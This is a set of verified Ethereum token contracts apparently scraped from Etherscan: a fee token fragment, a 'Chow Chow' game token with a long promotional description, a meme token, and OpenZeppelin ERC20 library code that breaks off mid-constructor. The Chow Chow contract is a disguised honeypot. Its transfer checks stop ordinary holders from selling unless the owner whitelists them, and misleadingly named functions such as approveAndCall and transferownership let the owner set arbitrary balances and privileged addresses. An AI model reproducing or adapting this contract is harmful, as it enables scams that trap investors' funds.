require(_marketingAddress != address(0), "_marketingAddress address cannot be 0"); _isExcludedFromFee[marketingAddress] = false; marketingAddress = payable(_marketingAddress); _isExcludedFromFee[marketingAddress] = true; emit UpdatedMarketingAddress(_marketingAddress); } function setLiquidityAddress(address _liquidityAddress) public onlyOwner { require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0"); liquidityAddress = payable(_liquidityAddress); _isExcludedFromFee[liquidityAddress] = true; emit UpdatedLiquidityAddress(_liquidityAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } // To receive ETH from uniswapV2Router when swapping receive() external payable {} function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) { require(_token != address(0), "_token address cannot be 0"); require(_token != address(this), "Can't withdraw native tokens"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); _sent = IERC20(_token).transfer(_to, _contractBalance); emit TransferForeignToken(_token, _contractBalance); } // withdraw ETH if stuck before launch function withdrawStuckETH() external onlyOwner { require(!tradingActive, "Can only withdraw if trading hasn't started"); bool success; (success,) = address(msg.sender).call{value: address(this).balance}(""); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-05-30 */ /* Introducing Chow Chow, the first monopoly DeFi light game on Ethereum blockchain Build your own house! Use ETH and USDT to experience Chow Chow in the high-speed and fun of ETH. You’ve got a smarter and fun mining experience ready to enjoy! What is Chow Chow? Chow Chow is a monopoly game built on Ethereum blockchain (ETH). To participate in-game mining, players can spend ETH, USDT, USDT and other ETH tokens in the game to get a chance to roll the dice and build different types of buildings on different grids. In order to ensure the game has a good deflation and dividend model, once a house or shop is constructed and cannot pay taxes on time, it will be removed. For more information, please refer to our whitepapaer. Chow Chow Overview: • Owning different land properties and housing levels, corresponding to different mining output. • The total supply of CHOW is only 1 million, and on-chain transfer will permanently burn 5% of its transaction amount. • A tax pool is built in game for holding, which dividends USDT, ETH for holders. • As the circulation of tokens increases, the mining output speed/scale will be reduced accordingly. • The building constructed will be forced to be removed when failure to pay taxes on time. • 50% of game revenue is used to buy back secondary tokens. How does it work? Land properties In Chow Chow, there are 36 grids in each map, players can choose passing by or stay on the grid. 32 grids are buildable or upgradeable buildings when the player stays, and 4 grids can be triggered by random events (buildings cannot be built on random event grids). Housing (Normal) land: 22 squares Shop (Rare) land: 6 squares Bank (Epic) Land: 3 grids Government (Legendary) land: 1 grid Random events: 4 grids Construction mechanism According to the grid properties of different buildable houses in the game, there are four types of buildings, and the mining speed and taxes of each house type are different. Housing (Normal) land: general mining, less tax. Shop (Rare) land: faster mining and higher taxes. Bank (Epic) Land: Super fast mining and taxes are extremely high. Government (Legendary) land: Mining is faster and taxes are less. Tax Pool (Dividends) The game will establish a tax pool system. All taxes paid by players will be included in the tax pool. The tokens in the tax pool will be reallocated according to the number of CHOW holding addresses. When a user holds more CHOW, the more tax dividends will be received in the pool. For example, there are currently 100 USDT in the tax pool and 10,000 CHOW in circulation. If the player holds 1,000 CHOW, the player will receive 10 USDT. Random Events Grid There are 5 kinds of random events in total, and each event has a probability of 20%. Random upgrade: houses will be randomly upgraded by 1 level; Random downgrade: houses will be randomly downgraded by 1 level; Designated remote upgrade: If the player designate a house, the player can pay ETH or CHOW to upgrade the house; Lady Luck: Get a free roll; God of Wealth: Give a certain amount of ETH or CHOW to the player. Housing upgrade House upgrade: If the player builds a house on this grid and stays on the grid again, the player can pay ETH, USDT, USDT to upgrade the house, the upper limit of upgrade is Lv2; if the player use CHOW to upgrade the house, the upper limit of upgrade is Lv3; Game dice There are three types of dice in Chow Chow. Mining and output reduction Constructive mining is the main way to obtain CHOW tokens through participation in the game, and the corresponding CHOW output can be obtained through house construction. Who we are? All the founding members of Chow Chow have worked in Tencent Interactive Entertainment (IEG), and have been involved in product planning and front-end operations in first-line online games. Audit completed and official website is online, Chow Chow is moving to the next stop The game will establish a tax pool system. All taxes paid by players will be included in the tax pool. The tokens in the tax pool will be reallocated according to the number of CHOW holding addresses. When a user holds more CHOW, the more tax dividends will be received in the pool. For example, there are currently 100 USDC in the tax pool and 10,000 CHOW in circulation. If the player holds 1,000 CHOW, the player will receive 10 USDC. 2.5 Housing upgrade (Advanced Consumption) House upgrade: If the player builds a house on this grid and stays on the grid again, the player can pay ETH, USDC, USDT to upgrade the house, the upper limit of upgrade is Lv2; if the player use CHOW to upgrade the house, the upper limit of upgrade is Lv3; Paid remote upgrade: If the player stays on the random event grid after rolling the dice, there is a probability that the player will get a opportunity to upgrade the designated house remotely. The player needs to pay ETH, USDC, USDT or CHOW to proceed, respectively, the upper limit of upgrade is Lv2 and Lv3; 2.6 Map range There will be 34 grids, of which 30 grids are buildable, and 4 grids can be triggered random events after a new ETH address authorizes contract to create the map; Note: When the 30 grids on the map are full, the player can choose to upgrade after passing each construction plot; 2.7 Random events grid(Lottery) There are 5 kinds of random events in total, and each event has a probability of 20%. • Random upgrade: houses that have been built will be randomly upgraded by 1 level; • Random downgrade: houses that have been built will be randomly downgraded by 1 level; • Designated remote upgrade: If the player designate a house, the player can pay ETH or CHOW to upgrade the house; • Lady Luck: Get a free roll; • God of Wealth: Give a certain amount of ETH or CHOW to the player. 3. Game dice There are three types of dice in Chow Chow. Each type of dice can be obtained in three different ways. 3.1 Ordinary dice Dice type Introduction Price Ordinary dice Ordinary dice, random number of steps 5 USDC Lucky dice With lucky dice, you can choose the range of steps 20 USDC Golden dice With golden dice, you can choose the number of steps Private sale 3.2 USDC packages Introduction Quantity Price Ordinary dice Ordinary dice, random number of steps 10 48 USDC Lucky dice With lucky dice, you can choose the range of steps 10 180 USDC 3.3 CHOW packages (discount) Dice type Introduction Quantity Price Ordinary dice Ordinary dice, random number of steps 1 CHOW at 80% of original price Lucky dice With lucky dice, you can choose the range of steps 1 CHOW at 80% of original price 3.4 Random dice package Type Introduction Quantity Price Normal Package Mystery boxes, includes ordinary, lucky and golden dice randomly 10 70 USDC Type Probability Ordinary dice 80% Lucky dice 18% Golden dice 2% 4. Mining and production reduction Constructive mining is the main way to obtain CHOW tokens through participation in the game, and the corresponding CHOW output can be obtained through house construction. 4.1 Housing construction and upgrades Housing type Number Lv0 construction Lv1 upgrade Lv2 upgrade Lv3 upgrade Housing (Normal) 20 10 USDC 20 USDC 40 USDC 80 USDC Shop (Rare) 6 40 USDC 80 USDC 160 USDC 320 USDC Bank (Epic) 3 80 USDC 160 USDC 320 USDC 640 USDC Government (Legendary) 1 10 USDC 20 USDC 40 USDC 80 USDC 4.2 House tax After the house is constructed, there will be a 72h countdown. Taxes should be paid before the countdown returns to 0, and the accumulated countdown time will be accumulated. Players can pay taxes multiple times to continuously increase the countdown accumulation to prevent the house from being removed due to tax arrears in a short period of time . Housing type Lv0 tax Lv1 tax Lv2 tax Lv3 tax Housing (Normal) 10 USDC 20 USDC 40 USDC 80 USDC Shop (Rare) 40 USDC 80 USDC 160 USDC 320 USDC Bank (Epic) 80 USDC 160 USDC 320 USDC 640 USDC Government (Legendary) 10 USDC 20 USDC 40 USDC 80 USDC */ pragma solidity ^0.5.17; interface IBEP20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeBEP20 { using SafeMath for uint; using Address for address; function safeTransfer(IBEP20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IBEP20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IBEP20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IBEP20 token, bytes memory data) private { require(address(token).isContract(), "SafeBEP20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeBEP20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed"); } } } contract BEP20 is Context, IBEP20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract BEP20Detailed is IBEP20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ChowChow { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-05-16 */ //SPDX-License-Identifier: Unlicensed /** $YUMMY COIN This is a meme token every meme token buyer needs in their collection. 1 quadrillion total supply. */ pragma solidity ^0.7.0; contract Owned { modifier onlyOwner() { require(msg.sender == owner); _; } address owner; address newOwner; function changeOwner(address payable _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } } contract ERC20 { string public symbol; string public name; uint8 public decimals; uint256 public totalSupply; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) { require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract YUMMY is Owned,ERC20{ uint256 public maxSupply; constructor(address _owner) { symbol = "YUMMY"; name = "$YUMMY COIN"; decimals = 18; totalSupply = 1000000000000000*10**uint256(decimals); maxSupply = 1000000000000000*10**uint256(decimals); owner = _owner; balances[owner] = totalSupply; } receive() external payable { revert(); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-04-23 */ // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0-solc-0.7/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0-solc-0.7/contracts/token/ERC20/IERC20.sol pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0-solc-0.7/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0-solc-0.7/contracts/token/ERC20/ERC20.sol pragma solidity ^0.7.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/token.sol pragma solidity ^0.7.0; contract Token is ERC20 { mapping(address => bool) public allowed; constructor () ERC20("Folivora", "Folivora") { 